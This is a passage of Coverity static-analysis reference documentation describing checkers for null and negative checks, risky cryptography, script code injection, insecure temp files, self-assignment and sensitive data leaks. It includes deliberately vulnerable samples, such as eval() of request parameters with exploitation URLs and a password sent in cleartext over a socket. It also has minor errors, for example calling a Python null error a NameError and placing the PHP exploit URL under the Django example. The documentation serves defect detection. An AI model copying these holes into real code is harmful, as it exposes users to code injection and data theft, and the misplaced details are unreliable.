This section describes one or more events produced by the RETURN_LOCAL checker.
Supported Languages: C, C++, C#, Java, JavaScript, Objective-C, Objective-C++, Python, Ruby, Scala, Swift, and Visual Basic
REVERSE_INULL finds many instances of checks against null, Nothing, nil, or undefined values that occur after uses of the value that would have already failed if it were indeed null, Nothing, nil, or undefined. Such uses include dereferences in C/C++/C#/Java/Visual Basic, unwrapping in C#, Swift, or Visual Basic, or a member or property access in other languages. The checker name derives from the internally inconsistent code, where the check and use appear to be reversed.
Enabled by default: REVERSE_INULL is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
The C/C++ checker finds many instances of null checks after dereferences.
Since dereferencing a null pointer will cause a process to crash, checking against NULL before dereferencing is very important. This checker finds instances where a pointer is dereferenced then subsequently checked against NULL. The dereference can be safe if the programmer knows it could not be null. If this is the case, then checking against NULL is unnecessary and should be removed as it indicates that the pointer could be null. As a second possibility, the pointer might be null, and it can be fixed by moving the null check before the dereference.
REVERSE_INULL can report false positives if it determines that a pointer is null when that pointer can never be null or it determines that a potentially null pointer is dereferenced when, in fact, it is not. In the latter case, you can use the same library function suppression techniques as those for the NULL_RETURNS analysis. If the analysis incorrectly reports that a pointer is checked against NULL or that there is a defect due to a non-feasible path, you can suppress the event with a code annotation.
The C# checker finds null checks after dereferences. Dereferencing a null reference variable causes the program to throw an exception, so checking against null before dereferencing is very important. This checker finds many instances where the programmer dereferences a variable, and then checks the reference variable against null. The dereference can be safe if the programmer knows it could not be null. If this is the case, the check against null is unnecessary and should be removed because it indicates to other developers that the pointer could be null. As a second possibility, the pointer might be null, and it can be fixed by moving the null check before the dereference.
Enabled by default: REVERSE_INULL is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
The Java or Scala checker finds null checks after dereferences. Dereferencing a null reference variable causes the program to throw an exception, so checking against null before dereferencing is very important. This checker finds many instances where the programmer dereferences a variable and then checks the reference variable against null. The dereference can be safe if the programmer knows it could not be null. If this is the case, the check against null is unnecessary and should be removed as it indicates that the reference could be null. As a second possibility, the reference might be null, and it can be fixed by moving the null check before the dereference.
This JavaScript checker finds code that checks if a value is null or undefined
after accessing a property on the value or after calling it as a function. Such code
will throw a TypeError before reaching the check if the value is null
or undefined. The unsafe-use-then-check pattern this checker reports indicates
either that the check should be moved to protect the use or, if programmer knows
that the variable cannot be null or undefined, that the check is a good candidate
for removal because it is redundant and thus potentially confusing.
The Python checker finds code that checks if a value is an explicit null value
(None, NotImplemented, or Ellipsis) after
using that value in an expression, or as the base of a function call or property
reference. Such code will throw a NameError exception before reaching
the check if the value is null-like. On the other hand, if the variable never
contains a null-like value at its point of use, then the null check is unnecessary.
The null check should either be moved ahead of the point of use or removed
entirely.
The Ruby checker finds code that checks if a value is a nil, true, or false value
after using that value in an expression, or as the base of a method call or
attribute reference. Either execution of that code will throw a
NoMethodError exception at its point of use, or the null check is
unnecessary. The null check should be moved ahead of the point of use or removed
entirely.
handler!.handle(a) handler?.handle(b) // REVERSE_INULL
The first statement asserts that handler is not nil and executes a
call on it. The second statement checks handler for nil and skips the
call if it is nil. This inconsistency about whether handler is
potentially nil is reported as a defect.
A REVERSE_INULL defect indicates a null check that occurs too late in the program flow to be effective. Usually, a null check executes special code (for example, printing an error message and then exiting) that circumvents undesirable effects that would result if the checked value happened to be NULL. In a REVERSE_INULL defect, the undesirable effects will already have taken place by the time the check is executed.
The checker works by tracking expressions that represent object references and noting
whether those object references have been evaluated (that is, dereferenced). It then
looks for null check conditions, such as if (p == NULL) [C/C++]. If the
object reference has been evaluated on every path leading up to the null check, then a
REVERSE_INULL defect is reported.
Under those conditions, the null check is moot: Either the undesirable effects will already have taken place, or the null check is never actually reached. The remedy is to move the null check ahead of all evaluations, or remove it entirely.
This section provides one or more REVERSE_INULL examples.
In this example, by the time request_buf is checked against NULL,
it has already been dereferenced on all paths, suggesting that it should have been checked against
NULL earlier.
void basic_reverse_null(struct buf_t *request_buf) {
*request_buf = some_function(); // Assignment dereference
if (request_buff == NULL) // NULL check AFTER dereference
return;
}In this example, by the time o is checked against null, it has already been dereferenced on all
paths, suggesting that it should have been checked against null earlier.
public static void ReverseINull(object o)
{
Console.WriteLine("Argument: " + o.ToString());
// REVERSE_INULL reported here
if (o == null)
{
Console.WriteLine("Invalid argument: o is null");
}
}In this example, by the time o is checked against null,
it has already been dereferenced on all paths by passing o as an
argument to callB, suggesting that it should have been checked against
null earlier.
public class ReverseInullExample {
public static Object callA(Object o) {
return "hi";
}
public static Object callB(Object o) {
return o.toString();
}
public static String testA(Object o) {
// callB dereferences o, making the later check a bug
// if this were callA, no bug would be reported here.
System.out.println(callB(o));
if( o == null ) {
System.out.println("It's null");
}
return "done";
}
}In this example, by the time x is checked against null, it has already been
dereferenced on all paths, suggesting that it should have been checked against null earlier.
def ReverseInullExample(x : X) {
x.m
if (x eq null) {} // REVERSE_INULL reported here
}In this example, by the time obj is checked against null, it has already been dereferenced on all paths,
suggesting that it should have been checked against null earlier.
function reverseINull(obj)
{
console.log("Argument: " + obj.x);
// REVERSE_INULL reported here
if (obj == null)
{
console.log("Invalid argument: obj is null or undefined.");
}
}In this example, by the time x is checked against None, it has already been dereferenced on all paths,
suggesting that it should have been checked against None earlier.
def deref_eq_null(x):
x.m # A property of x is accessed here.
if x == None: # Defect reported here: Null check after access.
passIn this example, by the time x is checked against nil, it has already been dereferenced on all paths,
suggesting that it should have been checked against nil earlier.
def reverse_inull(x)
x.foo() # Possible attempt to invoke 'foo' on nil.
if x.nil? # Defect reported here. If x is nil, then the call
# to foo() will already have generated an exception.
fail "Invalid x"
end
endIn this example, by the time o is checked against Nothing, it has already been dereferenced on all paths,
suggesting that it should have been checked against Nothing earlier.
Imports System
Class ReverseINull
Public Shared Sub Example(o As Object)
With o
Console.WriteLine("Argument: " + .ToString())
End With
' o is checked for null after always being dereferenced.
If o Is Nothing Then
Console.WriteLine("Invalid argument: o is null")
End If
End Sub
End ClassThis section describes one or more events produced by the REVERSE_INULL checker.
deref_ptr - A pointer was dereferenced and will be tracked
for subsequent comparisons against null. This is a C/C++-only event.
deref_ptr_in_call - A pointer was dereferenced through a
function call and will be tracked for subsequent comparisons against null. This
is a C/C++-only event.
check_after_deref - A pointer or reference is checked against
null or undefined, but all paths that lead to this check include a use of the
pointer or reference that would fail at runtime if it were null or undefined.
This event also indicates that the pointer or reference was not reassigned
between the use and the check.
Supported Languages: C, C++, Objective-C, Objective-C++
REVERSE_NEGATIVE finds many cases where an integer is used as an array index, but then later checked to determine if it is negative. If the integer could be negative, the check takes place too late. If it could not be negative, the check is unnecessary.
During development, correctly bounds-checking an integer before a potentially dangerous use is often overlooked. Mishandling of negative integers can cause hard-to-find problems from memory corruption to security defects. This checker finds instances of dangerous integer use followed by a check against NEGATIVE. Two situations could cause this scenario:
The programmer "knows" the integer cannot be negative, in which case the check is unnecessary and should be removed as it indicates to other programmers that the integer could be negative.
The integer could actually be negative, and the check needs to occur before the dangerous use.
REVERSE_NEGATIVE can report false positives if it incorrectly determines that:
An integer is compared against a negative value.
A potentially negative integer is used in a dangerous way.
To suppress a false positive in the first case (or one that is not the result of a cross procedure interface) use code annotations. You can use a library function in the second case: see the NEGATIVE_RETURNS Models information.
Enabled by default: REVERSE_NEGATIVE is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more REVERSE_NEGATIVE examples.
void simple_reverse_neg(int some_signed_integer) {
some_struct *x = kmalloc(some_signed_integer, GFP_KERNEL); // Dangerous integer use
if (some_signed_integer < 0) // Check after use
return error;
}This section describes one or more events produced by the REVERSE_NEGATIVE checker.
negative_sink_in_call - An integer is used in a function call
that, if it was negative, it would be a defect. The integer is then tracked for
subsequent comparisons to negative values.
negative_sink - An integer used in an operation would have a
bad effect if it was negative. The integer is then tracked for subsequent
comparisons to negative values.
check_after_sink - A check against a negative value after it
has been determined that the integer should never be negative. This event causes
the checker to report a defect.
Supported Languages: C, C++, C#, Java, JavaScript, Objective-C, Objective-C++, PHP, Python, Swift, Visual Basic
RISKY_CRYPTO finds uses of cryptographic algorithms that are vulnerable to cryptographic attacks or otherwise risky. Examples include uses of an old algorithm that is weak by current standards and poor usage of a particular algorithm.
The default policy of the RISKY_CRYPTO includes the following rules:
The DES algorithm should not be used. It is outdated, and an attacker with
modern hardware can break DES encryption in a matter of days. This is equivalent
to the following checker option: forbid:DES|PBEMD5DDES/*/*/*
The RSA algorithm should not be used without random padding. The lack of
random padding might allow an attacker to break this encryption, for example,
with Coppersmith's Attack. This is equivalent to the following checker option:
forbid:RSA/*/NOPD/*
ECB block mode should not be used. If two blocks of plaintext are the same and
are encrypted with the same key, then the ciphertexts for both blocks will also
be the same. This leaks information about the underlying data. This is
equivalent to the following checker option: forbid:*/ECB/*/*
Weak and collision-prone hashing algorithms should not be used. Insecure
hashing might also permit length extension attacks, whereby an attacker can
generate a valid hash for messages that have the original message as a prefix.
This is equivalent to the following checker option:
forbid:SHA0|SHA1|MD2|MD4|MD5|RIPEMD/*/*/*
The RC4 algorithm should not be used. Its initial output contains measurable
biases, which might allow an attacker with sufficient hardware to break this
encryption. This is equivalent to the following checker option:
forbid:RC4/*/*/*
A key size shorter than 128 bits should not be used for symmetric cipher algorithms. A key size shorter than 2048 bits should not be used for asymmetric cipher algorithms. Using a short key might allow encryption to be broken with sufficient hardware.
Establishing an SSL connection that allows the SSLv3/TLS1.1 (and earlier) protocols is insecure. An attacker might be able to decrypt and extract sensitive data that is transmitted over the network.
Disabled by default: RISKY_CRYPTO is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable RISKY_CRYPTO
along with other Web application checkers,
use the --webapp-security
option.
Android security checker enablement: To enable RISKY_CRYPTO
along with other Java Android security checkers, use the --android-security
option to the cov-analyze command.
This section provides one or more RISKY_CRYPTO examples.
The following example calls the Windows Crytography API function
CryptoDeriveKey to generate a key using the Data Encryption
Standard (DES), an algorithm that offers little protection because it can be cracked
easily by a desktop machine.
CryptDeriveKey(hCryptProv, CALG_DES, hHash, 0, &hKey));
The following example uses the old DES algorithm, which offers little protection because it can be cracked easily by a desktop machine.
DES des = DES.Create();
The following example creates a key for the strong AES algorithm but uses a weak keysize of 96 bits. The checker reports a defect on the weak keysize.
Aes aes = Aes.Create(); aes.KeySize = 96;
The following example uses the old DES algorithm, which offers little protection because it can be cracked easily by a desktop machine.
Cipher desCipher = Cipher.getInstance("DES");The following example creates a key for the strong AES algorithm but uses a weak keysize of 112 bits. The checker reports a defect on the weak keysize.
KeyGenerator keyGenerator = KeyGenerator.getInstance("AES");
keyGenerator.init(112);The following example calls the Node.js crypto module to create a Cipher instance using the DES algorithm.
var crypto = require('crypto');
var cipher = crypto.createCipher('DES', password);This example encrypts data using DES, an insecure encryption algorithm.
func encrypt_Algorithm(data:[UInt8], keyData:[UInt8]) -> [UInt8]? {
let cryptDataLength = size_t(data.count + kCCBlockSizeAES128)
var cryptData = [UInt8](repeating:0, count:size_t(kCCBlockSizeAES128) + cryptDataLength)
var numBytesEncrypted :size_t = 0
// Risky Crypt here
cryptStatus = CCCrypt(CCOperation(kCCEncrypt), CCAlgorithm(kCCAlgorithmDES),
CCOptions(kCCOptionPKCS7Padding), keyData, size_t(kCCKeySizeDES),
cryptData, data, data.count, &cryptData + size_t(kCCBlockSizeDES),
cryptDataLength, &numBytesEncrypted)
if UInt32(cryptStatus) == UInt32(kCCSuccess) {
cryptData.removeSubrange(numBytesEncrypted+size_t(kCCBlockSizeAES128) ..< cryptData.count)
}
else {
print("Error: \(cryptStatus)")
return nil;
}
return cryptData;
}
}The following example uses the old DES algortihm, which offers little protection because it can be cracked easily.
Dim des As DES = DES.Create()
The following example creates a key for the strong AES algorithm but uses a weak keysize of 96 bits. The checker reports a defect for the weak keysize.
Dim aes As Aes = Aes.Create() aes.KeySize = 96
This section describes one or more RISKY_CRYPTO options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
RISKY_CRYPTO:allow:<transformation> - [Deprecated]
This option is deprecated as of version 7.7.0 and will be removed from
a future release.
RISKY_CRYPTO:assume_fips_mode:<boolean> - When set to
true, this option treats the cryptographic
provider as FIPS 140 compliant. Because this mode prevents the use of SSL
versions 2.0 and 3.0, either explicitly or by default, this option will suppress
related defects. Defaults to
RISKY_CRYPTO:assume_fips_mode:false. This
option yields no effect for JavaScript.
RISKY_CRYPTO:forbid:<transformation> - This option adds the given transformation to the set of
cryptographic transformations deemed "risky". The checker will report a defect
if it finds the specified transformation. Default is
unset.
You can specify this option multiple times to perform an OR
operation on each transformation.
For a description of the option value, see Transformation format.
See also, Default RISKY_CRYPTO policy.
RISKY_CRYPTO:require_asymmetric:<transformation> -
This option requires all asymmetric algorithms
to match the given transformation. It overrides all other options for asymmetric
algorithms. If the checker finds an asymmetric transformation that does not
match this option, it will report a defect. Default
is unset.
You can specify this option multiple times to perform an OR
operation on each transformation.
For a description of the option value, see Transformation format.
See also, Default RISKY_CRYPTO policy.
RISKY_CRYPTO:require_hash:<transformation> - This
option requires all hashing algorithms to
match the given transformation. It overrides all other options for hashing
algorithms. If the checker finds a hashing transformation that does not match
this option, it will report a defect. Default is
unset.
You can specify this option multiple times to perform an OR
operation on each transformation.
For a description of the option value, see Transformation format.
See also, Default RISKY_CRYPTO policy.
RISKY_CRYPTO:require_symmetric:<transformation> -
This option requires all symmetric algorithms
to match the given transformation. It overrides all other options for symmetric
algorithms. If the checker finds a symmetric transformation that does not match
the value to this option, it will report a defect. Default is unset.
You can specify this option multiple times to perform an OR
operation on each transformation.
The <transformation> value is a tuple written in the format
<Algorithm>/<Block
Mode>/<Padding>/<Minimum Key Size>. For
each of <Algorithm>, <Block
Mode>, and <Padding>, the values
specified are strings that describe the algorithm. The
<Minimum Key Size> takes a positive value in
bits. A * (asterisk) indicates that the transformation
can match any value for that field. A transformation example is
AES/CBC/*/128. Additionally, it is possible to use
the symbol | to denote an OR operation for
any field; for example: AES|Blowfish/CBC/*/128
See also, Default RISKY_CRYPTO policy.
RISKY_CRYPTO reports a defect on evidence of usage of a risky cryptographic algorithm. It reports not just on calls to a function that use the algorithm directly, but also on, for example, creation of an object to support MD5 hashing, creation of a socket using an insecure version of SSL/TLS, or creation of an object or stream to support DES encryption, decryption, or key generation. Supporting events show details on the creation of such objects including setting of algorithm parameters.
Supported Languages: C#, Java, JavaScript, PHP, Python, Swift
SCRIPT_CODE_INJECTION finds script code injection vulnerabilities, which occur when uncontrolled dynamic data is used to construct script code on the server. Examples of script code languages include JavaScript, Python, and Ruby.
Disabled by default: SCRIPT_CODE_INJECTION is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
For Swift, SCRIPT_CODE_INJECTION is enabled by default.
Web application security checker enablement: To enable SCRIPT_CODE_INJECTION
along with other Web application checkers,
use the --webapp-security
option.
Python support: Security checkers are supported for Python 2.7.x only.
A SCRIPT_CODE_INJECTION defect shows a dataflow path by which an untrusted (tainted) source is used to construct an executable script. The dataflow path starts at a source of untrusted data, such as getting input from an HTTP request. From there, the events in the defect show how this tainted data flows through the program, for example, from the argument of a function call to the parameter of the called function. The final part of the dataflow path shows the tainted string executed in some way.
This section provides one or more SCRIPT_CODE_INJECTION examples.
Here, a user-controllable HTTP request parameter is concatenated into a short piece of Python code and passed to a Microsoft DLR script engine (for example, IronPython). This defect allows the user to execute arbitrary Python code.
using System.Web;
using Microsoft.Scripting.Hosting;
public class ScriptCodeInjection
{
void Test(HttpRequest Request) {
// Read a HTTP request parameter.
// This is untrusted / tainted data.
string UserId = Request["userid"];
UserId = EscapeUserId(UserId);
}
ScriptEngine MyPythonEngine;
// Call python code to remove spaces from the user ID.
private string EscapeUserId(string UserId)
{
return MyPythonEngine.Execute<string>( /* Defect here */ @"
import re
re.sub(' ', '_', "+ UserId +")"
);
}
}The following example uses Jython (a Java interface to Python) to execute Python that is constructed out of an HTTP request parameter. This defect allows the user to execute arbitrary Python code.
String foo = req.getParameter("foo");
ScriptEngine scriptEngine
= new ScriptEngineManager().getEngineByName("python");
if (scriptEngine != null) {
scriptEngine.eval( "import os"
+ "os.listdir('/%s/%s') % ('foo', '" + foo + "')");
}The following code example shows a vulnerable Node.js Web application that is using the Express framework.
var express = require('express');
var app = express();
app.get('/1', function (req, res) { //Defect here.
eval(req.query.n || 'a=1');
res.sendStatus(a);
});
app.listen(3000);Exploitation example:
http://127.0.0.1:3000/1?n=a=10
Here, an attacker can cause arbitrary JavaScript code execution by setting the
code they want to execute to the n query parameter.
The following code example shows a vulnerability in a simple PHP script.
<?php // inject.php $source = $_GET['taint']; eval($source); ?>
The following example passes tainted data from a HTTP request to the Python interpreter.
from django.conf.urls import url
def django_view(request):
eval(request.body);
urlpatterns = [
url(r'index', django_view)
]Exploitation example:
http://localhost:3000/inject.php?taint=echo("inject");The following example passes tainted data from an iCloud Store to an UIWebView JavaScript engine.
import UIKit
import Foundation
func addItemCodeToPage() {
// Analyze with --distrust-database
let uiWebView = UIWebView()
let store = NSUbiquitousKeyValueStore()
let code: String = store.string(forKey: "ItemCode")!
uiWebView.stringByEvaluatingJavaScript(from: code)
}This section describes one or more SCRIPT_CODE_INJECTION options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
SCRIPT_CODE_INJECTION:distrust_all:<boolean> - [JavaScript,
PHP, Python, Swift only] Setting this option to true is equivalent to setting
all trust_* checker options for this checker to false. Defaults to
SCRIPT_CODE_INJECTION:distrust_all:false for
JavaScript, PHP, and Python.
This checker option is automatically set to true if the
--webapp-security-aggressiveness-level option of
the cov-analyze command is set to high.
SCRIPT_CODE_INJECTION:trust_command_line:<boolean> -
[JavaScript, PHP, Python, Swift only] Setting this option to false causes the analysis to treat command line
arguments as tainted. Defaults to
SCRIPT_CODE_INJECTION:trust_command_line:true for JavaScript,
PHP, and Python. Setting this checker option will override the
global --trust-command-line and
--distrust-command-line command line options.
SCRIPT_CODE_INJECTION:trust_console:<boolean> - [JavaScript,
PHP, Python, Swift only] Setting this Web application security
option to false causes the analysis to treat data from the console
as tainted. Defaults to
SCRIPT_CODE_INJECTION:trust_console:true for JavaScript, PHP,
and Python. Setting this checker option will override the global
--trust-console and --distrust-console
command line options.
SCRIPT_CODE_INJECTION:trust_cookie:<boolean> - [JavaScript,
PHP, Python, Swift only] Setting this Web application security
option to false causes the analysis to treat data from HTTP cookies
as tainted. Defaults to
SCRIPT_CODE_INJECTION:trust_cookie:false for JavaScript, PHP,
and Python. Setting this checker option will override the global
--trust-cookie and --distrust-cookie
command line options.
SCRIPT_CODE_INJECTION:trust_database:<boolean> - [JavaScript,
PHP, and Python only] Setting this Web application security
option to false causes the analysis to treat data from a database
as tainted. Defaults to
SCRIPT_CODE_INJECTION:trust_database:true for JavaScript, PHP,
Python, Swift. Setting this checker option will override the global
--trust-database and --distrust-database
command line options.
SCRIPT_CODE_INJECTION:trust_environment:<boolean>-
[JavaScript, PHP, Python, Swift only] Setting this Web application security option to false causes the analysis to treat data
from environment variables as tainted. Defaults to
SCRIPT_CODE_INJECTION:trust_environment:true for JavaScript,
PHP, and Python. Setting this checker option will override the
global --trust-environment and
--distrust-environment command line options.
SCRIPT_CODE_INJECTION:trust_filesystem:<boolean> -
[JavaScript, PHP, Python, Swift only] Setting this Web application security option to false causes the analysis to treat data
from the filesystem as tainted. Defaults to
SCRIPT_CODE_INJECTION:trust_filesystem:true for JavaScript,
PHP, and Python. Setting this checker option will override the
global --trust-filesystem and
--distrust-filesystem command line options.
SCRIPT_CODE_INJECTION:trust_http:<boolean> - [JavaScript, PHP,
Python, Swift only] Setting this Web application security
option to false causes the analysis to treat data from HTTP
requests as tainted. Defaults to
SCRIPT_CODE_INJECTION:trust_http:false for JavaScript, PHP,
and Python. Setting this checker option will override the global
--trust-http and --distrust-http command
line options.
SCRIPT_CODE_INJECTION:trust_http_header:<boolean> -
[JavaScript, PHP, Python, Swift only] Setting this Web application security option to false causes the analysis to treat data
from HTTP headers as tainted. Defaults to
SCRIPT_CODE_INJECTION:trust_http_header:false for JavaScript,
PHP, and Python. Setting this checker option will override the
global --trust-http-header and
--distrust-http-header command line options in the
Coverity 2018.09 Command Reference.
SCRIPT_CODE_INJECTION:trust_network:<boolean> - [JavaScript,
PHP, Python, Swift only] Setting this Web application security
option to false causes the analysis to treat data from the network
as tainted. Defaults to
SCRIPT_CODE_INJECTION:trust_network:false for JavaScript, PHP,
and Python. Setting this checker option will override the global
--trust-network and --distrust-network
command line options.
SCRIPT_CODE_INJECTION:trust_rpc:<boolean> - [JavaScript, PHP,
Python, Swift only] Setting this Web application security
option to false causes the analysis to treat data from RPC requests
as tainted. Defaults to
SCRIPT_CODE_INJECTION:trust_rpc:false for JavaScript, PHP, and
Python. Setting this checker option will override the global
--trust-rpc and --distrust-rpc command
line options.
SCRIPT_CODE_INJECTION:trust_system_properties:<boolean> -
[JavaScript, PHP, Python, Swift only] Setting this Web application security option to false causes the analysis to treat data
from system properties as tainted. Defaults to
SCRIPT_CODE_INJECTION:trust_system_properties:true for
JavaScript, PHP, and Python. Setting this checker option will
override the global --trust-system-properties and
--distrust-system-properties command line options.
Supported Languages: C, C++, Objective-C, Objective-C++
DEPRECATED in 7.5.0: This deprecated checker has been replaced by the DC.* checkers. SECURE_CODING is an auditing tool, not a checker in the usual sense. Most of what it reports are not defects. Do not enable it casually, as it will dilute the analysis results with noise. SECURE_CODING reports any call to a potentially dangerous function without analyzing the code's behavior or the call's context. It warns of historically unsafe function use and suggests possible alternatives. It is best used as part of an organized effort to transition an entire code base away from dangerous legacy functions. You can customize the set of functions that it warns about.
Certain unsafe functions should not be used, such as gets(), while other
functions have been identified as security threats, such as strcpy. Some
functions that were designed to alleviate the problems associated with their
predecessors (for example, strncpy() instead of strcpy()), can
still cause issues when used incorrectly.
There are cases where SECURE_CODING reports a function's use as dangerous but, within the code's context, it is actually safe. This is intentional and the corresponding reports are not defects but, instead, identifiers of code warranting further inspection. By default, this checker is disabled due to the many reports it generates. To enable SECURE_CODING specify the following:
cov_analyze -en SECURE_CODING
The SECURE_CODING analysis does no inferring of secure coding functions. It produces no false positives : its reports are warnings not defects. To remove a given function's warning you need to create an empty model of the targeted function and compile it using the following:
cov-make-library -en SECURE_CODING
Disabled by default: SECURE_CODING is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
This section provides one or more SECURE_CODING examples.
In the following example, there are three possible issues:
You should never use the gets() function because you
cannot control the amount of data that is read.
You should avoid using the strcpy() function, and
use strncpy() instead.
When using the strncpy() function, make sure to use a
correct size argument.
void secure_coding_example() {
char *d, *s, *p;
int x;
...
gets(p);
strcpy(d, s);
strncpy(d, s, x);
}You can use a primitive to create custom models for SECURE_CODING:
int outdated_copy_function(void *arg) {
__coverity_secure_coding_function__("buffer overflow",
"outdated_function() makes no guarantee of safety.",
"Use updated_copy_function() instead.",
"VERY RISKY");
}This model indicates that at every call to
outdated_copy_function(), a warning appears telling the
developer to avoid this function and replace it with
updated_copy_function().
SECURE_TEMP finds cases where a temporary file is created in an insecure manner. When that happens in a program that runs with elevated privileges, the program is vulnerable to race condition attacks and can be used to subvert system security.
Many programs create temporary files in shared directories such as
/tmp. There are C library routines that assist in creating
unique temporary files, but many of them are insecure as they make a program vulnerable
to race condition attacks.
If the name of a temporary file is easily guessed, or the filename is used unsafely after temp file creation, or the umask is not safely set before calling a safe routine, an attacker can take control of a vulnerable application and system.
Avoid using insecure temporary file creation routines. Instead, use
mkstemp() for creating temp files. When using
mkstemp(), remember to safely set the umask before to restrict
the resulting temporary file permissions to only the owner. Also, do not pass on the
filename to another privileged system call. Use the returned file descriptor
instead.
![]() | |
SECURE_TEMP does not work interprocedurally. |
Disabled by default: SECURE_TEMP is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Security checker enablement: To enable SECURE_TEMP
along with other security checkers, use the --security
option to the cov-analyze command.
This section provides one or more SECURE_TEMP examples.
The following example generates a defect
because mktemp() is insecure: it is easy to guess the name of the temporary
file it creates. Similar functions include tmpnam(),
tempnam(), and tmpfile().
void secure_temp_example() {
char *tmp, *tmp2, *tmp3;
char buffer[1024];
tmp = mktemp(buffer);
}
SELF_ASSIGN reports many cases where a C++
assignment member function does not check for the right-hand side of the assignment as
being the same object as this before assigning to the fields of
this. If the class of which this operator is a member owns resources,
such as dynamically allocated memory or operating system handles, use-after-free errors
might occur if an object is assigned to itself. Other problems are also possible,
depending on exactly how the assignment operator is written.
This checker only considers assignment operators that can be used to assign entire objects. It excludes private operators, on the assumption that they are not meant to be used.
The following simple string wrapper class demonstrates the sort of problem the SELF_ASSIGN checker detects:
class SimpleString {
char *p;
public:
SimpleString(const char *s = "") : p(strdup(s)) {}
SimpleString(const SimpleString &init) : p(strdup(init.p)) {}
~SimpleString() {free(p);}
SimpleString &operator=(const SimpleString &rhs)
{
free(p); // bad if &rhs == this
p = strdup(rhs.p); // use-after-free when &rhs == this
return *this;
}
const char *str() {return p;}
operator const char *() {return str();}
}; Note that the rule this checker enforces does not require that the class own any resources, so it may report many cases where self-assignment is harmless, such as:
struct point {
int x;
int y;
point(int xx, int yy) : x(xx), y(yy) {}
point(const point &init) : x(init.x), y(init.y) {}
point &operator=(const point &rhs)
{
x = rhs.x; // harmless even when &rhs == this
y = rhs.y;
return *this;
}
};
Disabled by default: SELF_ASSIGN is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Supported Languages: Java, C#, JavaScript, PHP, Python, Swift, Visual Basic
SENSITIVE_DATA_LEAK finds code that stores, transmits, or logs sensitive data without protecting it adequately for encryption. Showing exception stack traces or other program information on the UI can reveal data about an application, which makes it more susceptible to attacks. The SENSITIVE_DATA_LEAK checker then reports these sensitive data leaks.
Note that the analysis treats certain fields and parameters as
password data based on their names. If the
--webapp-security-aggressiveness-level option to
cov-analyze is set to high, you can use the
following command line options to specify the pieces of program data that the analysis
will treat as password data: --add-password-regex and
--replace-password-regex. For details, see the
cov-analyze command documentation in the Coverity 2018.09 Command Reference.
Disabled by default: SENSITIVE_DATA_LEAK is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
For Swift, SENSITIVE_DATA_LEAK is enabled by default.
Web application security checker enablement: To enable SENSITIVE_DATA_LEAK
along with other Web application checkers,
use the --webapp-security
option.
Android security checker enablement: To enable SENSITIVE_DATA_LEAK
along with other Java Android security checkers, use the --android-security
option to the cov-analyze command.
Python support: Security checkers are supported for Python 2.7.x only.
This section provides one or more SENSITIVE_DATA_LEAK examples.
The following example sends decrypted data, which is inferred to be sensitive, over a socket without re-encrypting or hashing it. Therefore, it is possible for an attacker to intercept the decrypted data when it is in transit.
public byte[] DecryptData(RSA rsa, byte[] data)
{
return rsa.DecryptValue(data);
}
public void DecryptedDataLeaksToNetwork(
RSA rsa,
Socket socket,
byte[] encryptedData)
{
byte[] decryptedData = DecryptData(rsa, encryptedData);
socket.Send(decryptedData);
}The following example sends a password over a socket without encrypting or hashing it. Therefore, it is possible for an attacker to intercept the password when it is in transit.
public void test(PasswordAuthentication pwAuth)
{
String pw = new String(pwAuth.getPassword());
Socket socket = null;
PrintWriter writer = null;
try
{
socket = new Socket("remote_host", 1337);
writer = new PrintWriter(socket.getOutputStream(), true);
writer.println(pw);
}
catch (IOException exceptIO) { }
}The following example sends decrypted data, which is inferred to be sensitive, in an HTTP response. Additionally, the encryption password is printed to the console. It is possible for an attacker with different capabilities to see these sensitive data.
let crypto = require('crypto');
let net = require('net');
let decipher = crypto.createDecipher('aes192', key);
decipher.update(encrypted, 'utf8', 'hex');
let plaintext = decipher.final();
net.createServer((socket) => {
socket.write("Decrypted data: ");
socket.end(plaintext);
});
console.log(key);The following PHP code sends a password back to the user's web browser.
function dump_pw(){
exit($_SERVER['PHP_AUTH_PW']);
}The following example logs a failure that includes the sensitive login credentials.
import Foundation
func ProcessAccountDetails(login: URLCredential)
{
// Create a request
let session = URLSession(configuration: URLSessionConfiguration.default)
let request = URLRequest(url: URL(string: "https://mysite.com/accountdetails")!)
// Create and run the task
let task = session.dataTask(with: request, completionHandler: { (data, response, error) in
if (error != nil) {
// SENSITIVE DATA LEAK here!
NSLog("Login failed: \(login.user) : \(login.password!)")
}
// Process account details...
})
task.resume()
}The following example sends decrypted data, which is inferred to be sensitive, over a socket without re-encrypting or hashing the data. Therefore, it is possible for an atacker to intercept the decrypted data when it is in transit.
Public Function DecryptData(rsa As RSA, data As Byte()) As Byte()
Return rsa.DecryptValue(data)
End Sub
Public Sub DecryptedDataLeaksToNetwork(
rsa As RSA,
socket As Socket,
encryptedData As Byte()
)
Dim decryptedData As Byte() = DecryptData(rsa, encryptedData)
socket.Send(decryptedData)
End SubSENSITIVE_DATA_LEAK:use_name_based_taint:<string> - where the string
value can be either "always" or "never". Setting this option
to always causes the analysis to infer that some identifiers and properties
(such as "password") store sensitive data based on their name. Defaults to
SENSITIVE_DATA_LEAK:use_name_based_taint:"never" for all languages.
Java models and annotations (see Section 6.3, “Models and Annotations in Java”), C# or Visual Basic models (see Section 6.2, “Models and Annotations in C# or Visual Basic”), and JavaScript directive models (see Section E.1, “Security Configuration File Reference”) can improve analyses with this checker by identifying new sources of sensitive data and new sinks, that is, methods that send or store data outside of the application. You can think of a SENSITIVE_DATA_LEAK defect as consisting of a dataflow path from a source to a sink without any intervening encryption or hashing to protect or obfuscate the sensitive data.
Models are not supported for Swift.
Coverity models a number of sensitive data sources by default. You can use Coverity source model primitives to model additional SENSITIVE_DATA_LEAK sources.
For Java, source model primitives have the following function signatures:
Signature for modeling functions that return sensitive data:
sensitive_source(SensitiveDataType.SDT_<source_type>)
Signature for modeling functions with a parameter that is updated or implied to contain sensitive data:
